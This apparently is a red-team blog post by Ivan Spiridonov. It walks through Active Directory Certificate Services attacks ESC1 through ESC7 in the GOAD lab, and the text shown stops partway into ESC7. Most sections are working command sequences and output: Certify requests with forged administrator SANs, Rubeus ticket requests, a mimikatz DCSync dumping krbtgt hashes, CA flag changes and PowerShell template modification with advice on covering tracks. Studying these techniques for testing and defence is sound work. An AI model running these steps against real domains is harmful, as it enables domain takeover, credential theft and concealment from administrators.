Breaking ADCS: ESC1 to ESC16 Attack Techniques

xbz0n.sh/blog/adcs-complete-attack-reference

Ivan Spiridonov June 3, 2025

← Back to all posts

Introduction

Let's talk about Active Directory Certificate Services. If you've been doing red team work for any length of time, you've probably heard about ADCS attacks. What started as a convenient way to manage digital certificates has turned into one of the most powerful attack vectors in modern Windows environments.

Here's the problem - most organizations deploy ADCS with dangerous default configurations, and many admins don't understand the security implications of certificate templates. This creates a goldmine for attackers seeking privilege escalation and persistence that's incredibly hard to detect.

I've been exploiting ADCS misconfigurations for years, and what I've found is that the same features that make certificate services useful also make them dangerous. That flexible template system that admins love? It's perfect for privilege escalation. The auto-enrollment that makes management easy? It's a playground for persistence attacks. The single endpoint that handles everything? It bypasses traditional security controls.

In this article, I'll walk you through every major ADCS attack technique discovered to date - from the foundational ESC1-8 attacks to the latest ESC13-16 techniques. You'll learn not just how these attacks work, but how to implement them in real environments with practical code examples. Everything here is based on actual penetration tests I've conducted, with working examples you can adapt to your own assessments.

Lab Environment: All examples in this article are demonstrated using the GOAD (Game of Active Directory) lab environment, which provides a realistic multi-domain Active Directory setup perfect for testing these techniques. The domains we'll be working with include `essos.local`, `sevenkingdoms.local`, and `north.sevenkingdoms.local`.

Whether you're a red teamer looking to expand your toolkit or a defender trying to understand these threats, this article will give you the deep technical knowledge you need.

ADCS Fundamentals

Before we start breaking things, let's understand what makes ADCS different from other Windows services you're used to attacking. ADCS implements a Public Key Infrastructure (PKI) that typically follows this hierarchy:

```
Root CA (Offline)
    └── Subordinate CA (Online)
        └── Certificate Templates
            └── Issued Certificates
```

Let's see what this looks like in our GOAD environment:

```
# Discover ADCS servers in the environment
nxc ldap 192.168.56.10-23 -u '' -p '' -M adcs

SMB         192.168.56.12   445    MEEREEN          [*] Windows 10.0 Build 17763
x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:False)
LDAPS       192.168.56.12   636    MEEREEN          [+] essos.local\guest:
ADCS        192.168.56.12   -      MEEREEN          Found PKI Enrollment Server:
meereen.essos.local
ADCS        192.168.56.12   -      MEEREEN          Found CN=ESSOS-
CA,CN=Enrollment Services,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local

SMB         192.168.56.23   445    BRAAVOS          [*] Windows 10.0 Build 17763
x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:False)
LDAPS       192.168.56.23   636    BRAAVOS          [+] essos.local\guest:
ADCS        192.168.56.23   -      BRAAVOS          Found PKI Enrollment Server:
braavos.essos.local
ADCS        192.168.56.23   -      BRAAVOS          Found CN=ESSOS-
CA,CN=Enrollment Services,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local
```

The key components we'll exploit:

- **Certificate Authority (CA)**: Issues and manages certificates

- **Certificate Templates**: Define what certificates can be requested and by whom
- **Certificate Store**: Where certificates are stored on machines
- **Auto-enrollment**: Automatic certificate enrollment for domain objects

Certificate Template Basics

Certificate templates are the core of ADCS attacks. They define:

- Who can request certificates (enrollment permissions)
- What the certificate can be used for (Enhanced Key Usage)
- Whether the subject name can be specified by the requester
- Authentication requirements for enrollment

Here's what makes templates dangerous - they often allow way more access than admins realize. Let's look at what we find in GOAD, and enumerate certificate templates with Certify: `Certify.exe find /vulnerable` command. This shows us several vulnerable templates in the GOAD environment. Now let's dive into exploiting them.

ESC1: Misconfigured Certificate Templates

ESC1 is the most straightforward ADCS attack, and honestly, it's my favorite because it's so reliable. It exploits certificate templates that allow attackers to specify arbitrary Subject Alternative Names (SANs).

Technical Details

The vulnerability happens when a certificate template has:

1. **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT** flag enabled
2. **Client Authentication** or **Any Purpose** EKU
3. **Domain Users** enrollment permissions
4. No **manager approval** required

When all these conditions align, you can request a certificate for any user in the domain. It's that simple.

Exploitation Process

First, let's enumerate vulnerable templates in our GOAD lab. Using Certify to find ESC1 vulnerabilities:

```
Certify.exe find /vulnerable /enabled /enrolleeSuppliesSubject

[*] Action: Find certificate templates
[*] Using current user's unrolled group SID list for cross-references
[*] Current user context       : ESSOS\missandei
[*] Using the search base 'CN=Configuration,DC=essos,DC=local'


[!] Vulnerable Certificates Templates :

    CA Name                        : braavos.essos.local\ESSOS-CA
    Template Name                  : ESC1
    Schema Version                 : 2
    Validity Period                : 1 year
    Renewal Period                 : 6 weeks
    msPKI-Certificate-Name-Flag    : ENROLLEE_SUPPLIES_SUBJECT (0x1)
    mspki-enrollment-flag          : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required: 0
    pkiextendedkeyusage            : Client Authentication
    Permissions
      Enrollment Permissions
        Enrollment Rights            : ESSOS\Domain Users
Access: Allow
        Enrollment Rights            : ESSOS\Domain Computers
Access: Allow
      Object Control Permissions   : ESSOS\missandei                      Access:
Allow

[*] CA Response              : The certificate has been issued.

  KeyType                    : rc4_hmac
  Base64(key)                : F5/CqQX4m7A8VwM5cT6pQg==

  Note: KeyType may show AES256 on fully-patched DCs (ADV240011)
  If KeyType shows AES256, ensure you use a 256-bit compatible CSP (e.g.,
Microsoft Software Key Storage Provider)
```

Perfect! This output confirms `ESSOS\Domain Users` (which `missandei` is a member of) have enrollment rights on the "ESC1" template, and the template allows an enrollee to supply the subject. *Note: The output also indicates `missandei` has "Object Control Permissions" over this specific template, which would additionally make it vulnerable to ESC4 by her. For ESC1, we primarily focus on the enrollment rights.*

Perfect! Now let's request a certificate for the domain administrator. Request certificate impersonating Domain Admin:

⚠️ **Important:** For accuracy and to avoid certificate mismatch issues, we should always aim to provide the `/sid` parameter which should be the SID of the user we are targeting (administrator in this case).

```
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC1
/altname:essos\administrator /sid:S-1-5-21-1394808576-3393508183-1134699666-500

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\missandei
[*] No subject name specified, using current context as subject.

[*] Template                : ESC1
[*] Subject                 : CN=missandei, CN=Users, DC=essos, DC=local
[*] AltName                 : essos\administrator

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA

[*] CA Response             : The certificate has been issued.
[*] Request ID              : 7

[*] cert.pem                :
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA2hT8F6PSyEzGCq5VJXpF8rTQoYmZ9BNQ3T4Uy8F0aGF9ZLQW
...certificate data...
-----END CERTIFICATE-----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced
Cryptographic Provider v1.0" -export -out cert.pfx
```

Now let's convert to PFX format for use with Rubeus. There are two methods:

Method 1: Using OpenSSL (cross-platform)

```
openssl pkcs12 -in cert.pem -CSP "Microsoft Enhanced Cryptographic Provider v1.0"
-export -out administrator.pfx
```

Method 2: Using certutil (Windows native)

```
# Save the private key and certificate to separate files
# cert.key (from -----BEGIN RSA PRIVATE KEY----- to -----END RSA PRIVATE KEY-----)
# cert.pem (from -----BEGIN CERTIFICATE----- to -----END CERTIFICATE-----)

# Then merge them with certutil
certutil -MergePFX .\cert.pem .\administrator.pfx
```

Use Rubeus to either request NTLM hash directly or get a Kerberos TGT:

```
# Get NTLM Hash directly
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx
/getcredentials

# Or get TGT (traditional method)
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx
/password:mimikatz

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.2

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users,
DC=essos, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'essos.local\administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFujCCBbagAwIBBaEDAgEWooIEwjCCBL5hggS6MIIEtqADAgEFoQ8bDUVTU09TLkxPQ0FM
      ...base64 encoded ticket...

[*] Action: Describe Ticket

  UserName                 : administrator
  UserRealm                : ESSOS.LOCAL
  ServiceName              : krbtgt/essos.local
  ServiceRealm             : ESSOS.LOCAL
  StartTime                : 1/3/2025 10:30:15 AM
  EndTime                  : 1/3/2025 8:30:15 PM
  RenewTill                : 1/10/2025 10:30:15 AM
  Flags                    : name_canonicalize, pre_authent, initial, renewable,
forwardable
  KeyType                  : rc4_hmac
  Base64(key)              : F5/CqQX4m7A8VwM5cT6pQg==

  Note: KeyType may show AES256 on fully-patched DCs (ADV240011)
  If KeyType shows AES256, ensure you use a 256-bit compatible CSP (e.g.,
Microsoft Software Key Storage Provider)
```

Perfect! Now we can use the TGT to perform DCSync:

```
Rubeus.exe ptt /ticket:doIFujCCBbagAwIBBaEDAgEWooIEwjCCBL5hggS6...

[*] Action: Import Ticket
[+] Ticket successfully imported!

# Now perform DCSync as administrator
mimikatz.exe "lsadump::dcsync /domain:essos.local /user:krbtgt"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /domain:essos.local /user:krbtgt
[DC] 'essos.local' will be the domain
[DC] 'meereen.essos.local' will be the DC server
[DC] 'krbtgt' will be the DSRM user

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 1/15/2023 2:14:32 PM
Object Security ID   : S-1-5-21-1394808576-3393508183-1134699666-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: a577fcf16cfef780a2ceb343ec39a0d9
    ntlm- 0: a577fcf16cfef780a2ceb343ec39a0d9
    lm  - 0: 367ac3b3d1f4d80b8f52a7b6e8c1d2e9
```

Excellent! We've successfully escalated from a domain user (`missandei`) to domain admin using ESC1.

Key Improvements for ESC1 Attacks:

- Use `/sid` parameter for accuracy and to avoid certificate mismatch issues
- `/getcredentials` flag extracts NTLM hash directly without needing TGT
- `certutil -MergePFX` provides Windows-native certificate conversion
- More specific enumeration with `/enabled /enrolleeSuppliesSubject` flags

Advanced ESC1 Techniques

For evasion and reliability, consider these advanced approaches using the GOAD environment:

```
// Custom C# implementation for certificate requests
using System.Security.Cryptography.X509Certificates;
using System.Text;
using CERTENROLLLib;

public class CertificateRequestor
{
    public string RequestCertificate(string caConfig, string template, string
altName)
    {
        // Create certificate request
        var request = new CX509CertificateRequestPkcs10();
        var privateKey = new CX509PrivateKey();
        var csp = new CCspInformation();

        // Configure private key
        privateKey.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic
Provider";
        privateKey.KeySpec = X509KeySpec.XCN_AT_KEYEXCHANGE;
        privateKey.Length = 2048;
        privateKey.Create();

        // Build certificate request for GOAD environment
        request.InitializeFromPrivateKey(
            X509CertificateEnrollmentContext.ContextUser,
            privateKey,
            template);

        // Add SAN extension for administrator@essos.local
        var sanExtension = new CX509ExtensionAlternativeNames();
        var altNames = new CAlternativeNames();
        var altNameObj = new CAlternativeName();

        altNameObj.InitializeFromString(
            AlternativeNameType.XCN_CERT_ALT_NAME_RFC822_NAME,
            altName);
        altNames.Add(altNameObj);

        sanExtension.InitializeEncode(altNames);
        request.X509Extensions.Add(sanExtension);

        // Submit request
        var enroll = new CX509Enrollment();
        enroll.InitializeFromRequest(request);
        enroll.CertificateFriendlyName = "ESC1 Certificate";

        return enroll.CreateRequest(EncodingType.XCN_CRYPT_STRING_BASE64);
    }
}
```

ESC2: Misconfigured Certificate Templates with Any Purpose EKU

ESC2 targets templates with the "Any Purpose" Extended Key Usage, which essentially means the certificate can be used for anything.

Vulnerability Conditions

- Certificate template has **Any Purpose EKU** (OID: 2.5.29.37.0)
- **Domain Users** have enrollment rights
- No **manager approval** required

Important Note: ESC2 alone does not allow direct impersonation of other users like ESC1. An Any Purpose certificate becomes truly dangerous only when the CA or template also allows SAN/SID injection (ESC 6/9/10). On a fully-patched domain controller with strong certificate mapping enforcement (following KB5014754 patches from May 2022, with full enforcement phases extending through early 2025), an Any-Purpose certificate on its own will not bypass strong certificate mapping.

Exploitation

Let's check for ESC2 templates in GOAD:

```
Certify.exe find /vulnerable

[!] Vulnerable Certificates Templates :

    CA Name                         : braavos.essos.local\ESSOS-CA
    Template Name                   : ESC2
    Schema Version                  : 2
    Validity Period                 : 1 year
    Renewal Period                  : 6 weeks
    msPKI-Certificate-Name-Flag     : 0x0
    mspki-enrollment-flag           : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required: 0
    pkiextendedkeyusage             : Any Purpose
    msPKI-Application-Policies      : Any Purpose
    Permissions
      Enrollment Permissions
        Enrollment Rights             : ESSOS\Domain Users
Access: Allow
```

In vanilla GOAD, ESC2 template is cloned from the built-in User template and keeps only Any-Purpose EKU (no ENROLLEE_SUPPLIES_SUBJECT flag). If your lab shows the flag, that's ESC1 + AnyPurpose combined.

Now request certificate with Any Purpose EKU (as yourself)

```
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC2

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\missandei
[*] Template                : ESC2
[*] Subject                 : CN=missandei, CN=Users, DC=essos, DC=local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 8

[*] cert.pem                :
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3kT8F6PSyEzGCq5VJXpF8rTQoYmZ9BNQ3T4Uy8F0aGF9ZLQW
...certificate data...
-----END CERTIFICATE-----
```

Use certificate for client authentication (as the requesting user)

```
Rubeus.exe asktgt /user:missandei /certificate:anypurpose.pfx /password:mimikatz

[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=missandei, CN=Users,
DC=essos, DC=local
[+] TGT request successful!
```

The Any Purpose EKU can still be dangerous as it bypasses many certificate validation checks and can be used for code signing, server authentication, and other purposes beyond the intended use case.

ESC3: Enrollment Agent Templates

ESC3 is a really cool technique that exploits certificate templates granting Certificate Request Agent (Enrollment Agent) permissions. Basically, you can request certificates on behalf of other users once you get an agent certificate.

Attack Flow

The attack is pretty straightforward:

1. Request an Enrollment Agent certificate
2. Use that agent certificate to request certificates for other users
3. Authenticate as those users

Implementation

Let's see this in action with our GOAD environment:

Step 1: Request Enrollment Agent certificate The built-in template is called "EnrollmentAgent" - clone it to ESC3-CRA for your lab if needed

```
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:EnrollmentAgent

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\khal.drogo
[*] Template                : EnrollmentAgent
[*] Subject                 : CN=khal.drogo, CN=Users, DC=essos, DC=local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 9

[*] cert.pem                :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAzGQ5VJXpF8rTQoYmZ9BNQ3T4Uy8F0aGF9ZLQWxkT8F6PSyEz
...enrollment agent certificate...
-----END CERTIFICATE-----
```

Step 2: Use agent certificate to request certificate for Domain Admin

```
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:User
/onbehalfof:ESSOS\administrator /enrollcert:agent.pfx /enrollcertpw:mimikatz

[*] Action: Request a Certificates on behalf of another user
[*] Current user context    : ESSOS\khal.drogo
[*] Template                : User
[*] On behalf of            : ESSOS\administrator
[*] Agent Certificate       : agent.pfx

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 10

[*] cert.pem                :
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA8Fj9BNQ3T4Uy8F0aGF9ZLQWxkT8F6PSyEzGCq5VJXpF8rTQ
...administrator certificate...
-----END CERTIFICATE-----
```

Step 3: Authenticate as administrator

```
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx

[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=administrator, CN=Users,
DC=essos, DC=local
[+] TGT request successful!

  ServiceName              : krbtgt/essos.local
  ServiceRealm             : ESSOS.LOCAL
  UserName                 : administrator
  UserRealm                : ESSOS.LOCAL
  StartTime                : 1/3/2025 11:15:23 AM
  EndTime                  : 1/3/2025 9:15:23 PM
  RenewTill                : 1/10/2025 11:15:23 AM
  Flags                    : name_canonicalize, pre_authent, initial, renewable,
forwardable
```

Perfect! We've escalated from `khal.drogo` to `administrator` using the ESC3 technique.

ESC4: Vulnerable Certificate Template Access Control

ESC4 is one of my favorite techniques because it's sneaky. Instead of exploiting existing vulnerable templates, you modify a secure template to make it vulnerable, exploit it, then clean up your tracks.

Exploitation Strategy

Here's how the attack works:

1. Find templates where you have dangerous permissions (WriteProperty or WriteOwner)
2. Modify the template to make it vulnerable to ESC1
3. Exploit the newly vulnerable template
4. Clean up your modifications to cover your tracks

Practical Implementation

Let's see what we can modify in GOAD. Find templates with vulnerable ACLs:

```
Certify.exe find /vulnerable

[!] Vulnerable Certificates Templates :

    CA Name                      : braavos.essos.local\ESSOS-CA
    Template Name                : ESC4
    Schema Version               : 2
    Validity Period              : 1 year
    Renewal Period               : 6 weeks
    msPKI-Certificate-Name-Flag  : 0x0
    mspki-enrollment-flag        : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required: 0
    pkiextendedkeyusage          : Client Authentication
    Permissions
      Enrollment Permissions
        Enrollment Rights            : ESSOS\Domain Users
Access: Allow
      Object Control Permissions
        Owner                        : ESSOS\Administrator
        WriteProperty Principals     : ESSOS\khal.drogo                     Access:
Allow
        WriteDacl Principals         : ESSOS\Administrator

# First, backup original template settings for cleanup
Get-ADObject "CN=ESC4,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local" -Properties * | Select-
Object * | Export-Clixml ESC4-backup.xml

# Modify template to enable ENROLLEE_SUPPLIES_SUBJECT
$template = Get-ADObject "CN=ESC4,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local"
Set-ADObject $template.DistinguishedName -Replace @{"msPKI-Certificate-Name-
Flag"=1}

[*] Template ESC4 modified to enable ENROLLEE_SUPPLIES_SUBJECT

# Wait for AD replication
Start-Sleep -Seconds 30

# Request certificate with arbitrary SAN
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC4
/altname:upn:administrator@essos.local

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\khal.drogo
[*] Template                : ESC4
[*] Subject                 : CN=khal.drogo, CN=Users, DC=essos, DC=local
[*] AltName                 : administrator@essos.local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 11

# Authenticate as administrator
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx
```

```
[+] TGT request successful!

# Restore original template (cleanup)
$template = Get-ADObject "CN=ESC4,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local"
Set-ADObject $template.DistinguishedName -Replace @{"msPKI-Certificate-Name-
Flag"=0}

[*] Template ESC4 restored to original configuration
```

PowerShell Template Modification

Here's a more robust script for template modification in GOAD:

```
function Modify-CertificateTemplate {
    param(
        [string]$TemplateName,
        [switch]$EnableSubjectAltName,
        [switch]$Restore,
        [string]$Domain = "essos.local"
    )

    $configPath = "CN=Configuration," + (Get-ADDomain -Identity
$Domain).DistinguishedName
    $templatePath = "CN=$TemplateName,CN=Certificate Templates,CN=Public Key
Services,CN=Services,$configPath"

    try {
        $template = Get-ADObject $templatePath -Properties "msPKI-Certificate-
Name-Flag"

        if ($Restore) {
            # Restore to secure setting
            Set-ADObject $template.DistinguishedName -Replace @{"msPKI-
Certificate-Name-Flag"=0}
            Write-Host "[+] Template $TemplateName restored to secure
configuration"
        } else {
            # Enable ENROLLEE_SUPPLIES_SUBJECT
            Set-ADObject $template.DistinguishedName -Replace @{"msPKI-
Certificate-Name-Flag"=1}
            Write-Host "[+] Template $TemplateName modified to enable subject
specification"
        }

        # Wait for AD replication
        Write-Host "[*] Waiting for AD replication..."
        Start-Sleep -Seconds 30

    } catch {
        Write-Error "Failed to modify template: $($_.Exception.Message)"
    }
}

# Usage in GOAD environment
Modify-CertificateTemplate -TemplateName "ESC4" -EnableSubjectAltName -Domain
"essos.local"
# ... perform attack ...
Modify-CertificateTemplate -TemplateName "ESC4" -Restore -Domain "essos.local"
```

ESC5: Vulnerable PKI Object Access Control

ESC5 exploits weak permissions on PKI objects themselves, including the CA server and certificate templates container.

Attack Vectors

1. **CA Server Object**: WriteProperty permission allows configuration changes

2. **Certificate Templates Container**: GenericWrite allows template creation
3. **Individual CA Objects**: Various dangerous permissions

Let's examine what we have in GOAD. Check CA object permissions in essos.local domain:

```
Get-ADObject "CN=ESSOS-CA,CN=Enrollment Services,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local" -Properties
nTSecurityDescriptor

DistinguishedName : CN=ESSOS-CA,CN=Enrollment Services,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local
Name              : ESSOS-CA
ObjectClass       : pKIEnrollmentService
ObjectGUID        : 4f8bd644-2c29-418c-93f1-fe926f91f6b4

# In GOAD, khal.drogo has interesting permissions on the CA
```

CA Configuration Modification

If you have WriteProperty, modify CA settings. Enable SAN in issued certificates:

```
certutil -config "braavos.essos.local\ESSOS-CA" -setreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
+EDITF_ATTRIBUTESUBJECTALTNAME2

CertUtil: -setreg command completed successfully.
The command completed successfully.
```

Restart certificate services to apply changes

```
net stop certsvc && net start certsvc

The Certificate Services service is stopping.
The Certificate Services service was stopped successfully.
The Certificate Services service is starting.
The Certificate Services service was started successfully.

# Wait for services to fully restart
Start-Sleep -Seconds 10
```

Now we can request certificate with SAN from any template:

```
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:User
/altname:upn:administrator@essos.local

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\khal.drogo
[*] Template                : User
[*] Subject                 : CN=khal.drogo, CN=Users, DC=essos, DC=local
[*] AltName                 : administrator@essos.local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 12
```

Certificate Template Creation

If you have GenericWrite on the Certificate Templates container in GOAD, create a new vulnerable template:

```
$templateDN = "CN=EvilTemplate,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local"

# Template with dangerous settings for GOAD environment
New-ADObject -Name "EvilTemplate" -Type "pKICertificateTemplate" -Path
"CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local" -OtherAttributes @{
    'flags' = 131680
    'msPKI-Certificate-Name-Flag' = 1
    'msPKI-Enrollment-Flag' = 41
    'msPKI-Minimal-Key-Size' = 2048
    'msPKI-Private-Key-Flag' = 16842752
    'msPKI-Template-Schema-Version' = 2
    'pKIDefaultKeySpec' = 1
    'pKIExpirationPeriod' = ([byte[]](0x00,0x40,0x1E,0xA4,0xE8,0x65,0xFA,0xFF))
    'pKIExtendedKeyUsage' = @('1.3.6.1.5.5.7.3.2')
    'pKIKeyUsage' = ([byte[]](0x80,0x00))
    'pKIOverlapPeriod' = ([byte[]](0x00,0x80,0xA6,0x0A,0xFF,0xDE,0xFF,0xFF))
    'revision' = 100
}

ObjectGUID                : 8f3e2a1b-9c4d-4e5f-a6b7-c8d9e0f1a2b3
DistinguishedName         : CN=EvilTemplate,CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=essos,DC=local
Name                      : EvilTemplate
ObjectClass               : pKICertificateTemplate

# Template created successfully and ready for exploitation
```

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

ESC6 exploits the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag on the CA, which allows SAN specification in any certificate request.

For detailed information on this vulnerability and remediation steps, see Microsoft Learn's "Edit vulnerable Certificate Authority setting (ESC6)" article.

Vulnerability Check

Let's check the GOAD CA configuration. Check if flag is enabled on ESSOS-CA:

```
certutil -config "braavos.essos.local\ESSOS-CA" -getreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\ESSOS-
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags REG_DWORD
= 0x144120 (1327392)

EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)
EDITF_ATTRIBUTEENDDATE -- 20000 (131072)
EDITF_ATTRIBUTECA -- 4000 (16384)
EDITF_IGNOREREQUESTERGROUP -- 100000 (1048576)
CertUtil: -getreg command completed successfully.

# Flag 0x40000 (EDITF_ATTRIBUTESUBJECTALTNAME2) is present!
```

Exploitation

Note: Since the Microsoft hardening released in KB5014754 (May 10, 2022), certificates issued via a CA that still has EDITF_ATTRIBUTESUBJECTALTNAME2 enabled must contain the new SID security extension or rely on weak mapping modes; otherwise logon is refused. ESC6 exploitation therefore commonly requires ESC9 or ESC10 conditions as well.

Find CAs with EDITF_ATTRIBUTESUBJECTALTNAME2 flag set:

```
Certify.exe find /vulnerable

[!] Vulnerable Certificates Templates :
[!] Certificate Authority has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set!

    Enterprise CA Name            : ESSOS-CA
    DNS Hostname                  : braavos.essos.local
    FullName                      : braavos.essos.local\ESSOS-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION,
CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=ESSOS-CA, DC=essos, DC=local
    UserSpecifiedSAN              : Enabled (ESC6)
```

Request certificate with arbitrary SAN using any template:

```
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:User
/altname:administrator@essos.local

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\missandei
[*] Template                : User
[*] Subject                 : CN=missandei, CN=Users, DC=essos, DC=local
[*] AltName                 : administrator@essos.local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : The certificate has been issued.
[*] Request ID              : 13
```

Even though template doesn't allow subject specification, ESC6 allows it through the CA configuration

Enabling the Flag (if you have CA admin rights). Enable the dangerous flag on GOAD CA:

```
certutil -config "braavos.essos.local\ESSOS-CA" -setreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
+EDITF_ATTRIBUTESUBJECTALTNAME2

CertUtil: -setreg command completed successfully.
```

Restart certificate services:

```
Restart-Service CertSvc

WARNING: Waiting for service 'Active Directory Certificate Services (CertSvc)' to
stop...
WARNING: Waiting for service 'Active Directory Certificate Services (CertSvc)' to
start...

Status   Name               DisplayName
------   ----               -----------
Running  CertSvc            Active Directory Certificate Services
```

ESC7: Vulnerable Certificate Authority Access Control

ESC7 is all about getting direct access to the CA itself. If you can get ManageCA or ManageCertificates permissions, you basically own the entire certificate infrastructure.

Let's see what permissions we have in GOAD. Check if we have ManageCA rights:

```
Certify.exe find /vulnerable

[!] Vulnerable Certificates Templates :

    CA Name                         : braavos.essos.local\ESSOS-CA
    Permissions
      Owner                         : BUILTIN\Administrators        Access:
GenericAll
      Access Rights                 : ESSOS\Domain Admins           Access:
GenericAll
      Access Rights                 : ESSOS\Enterprise Admins       Access:
GenericAll
      Access Rights                 : ESSOS\viserys.targaryen       Access: ManageCA
      Access Rights                 : ESSOS\viserys.targaryen       Access:
ManageCertificates
```

Perfect! `viserys.targaryen` has ManageCA and ManageCertificates rights in GOAD.

ManageCA Rights Exploitation

ManageCA rights are like having the keys to the kingdom. Here's what you can do:

```
# If you have ManageCA, you can:
# 1. Enable EDITF_ATTRIBUTESUBJECTALTNAME2
certutil -config "braavos.essos.local\ESSOS-CA" -setreg
CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
+EDITF_ATTRIBUTESUBJECTALTNAME2

CertUtil: -setreg command completed successfully.

# 2. Certificate manager rights
# As the Certify output indicated, viserys.targaryen already possesses ManageCA
and ManageCertificates rights in our GOAD scenario.
# An attacker gaining these rights would typically do so by compromising an
account that already has them, or by escalating to a level
# where they can modify the CA's Active Directory object permissions or the CA
server's local groups.
# With ManageCA rights, one can assign officer rights (ManageCertificates) through
the Certificate Authority console (certsrv.msc).

# 3. Restart services to apply changes
Restart-Service CertSvc
```

ManageCertificates Rights Exploitation

With ManageCertificates, approve pending requests. First, submit a request for a privileged user using SubCA template:

```
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:SubCA
/altname:administrator@essos.local

[*] Action: Request a Certificates
[*] Current user context    : ESSOS\viserys.targaryen
[*] Template                : SubCA
[*] Subject                 : CN=viserys.targaryen, CN=Users, DC=essos, DC=local
[*] AltName                 : administrator@essos.local

[*] Certificate Authority   : braavos.essos.local\ESSOS-CA
[*] CA Response             : Taken Under Submission
[*] Request ID              : 14

# The request is pending, now approve it with ManageCertificates permission
certutil -config "braavos.essos.local\ESSOS-CA" -approve 14

# Expected output:
# Request 14 approved.
# CertUtil: -approve command completed successfully.

# Retrieve the issued certificate
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /retrieve 14

[*] Action: Retrieve Certificates
[*] Request ID: 14
[*] Certificate retrieved successfully
```

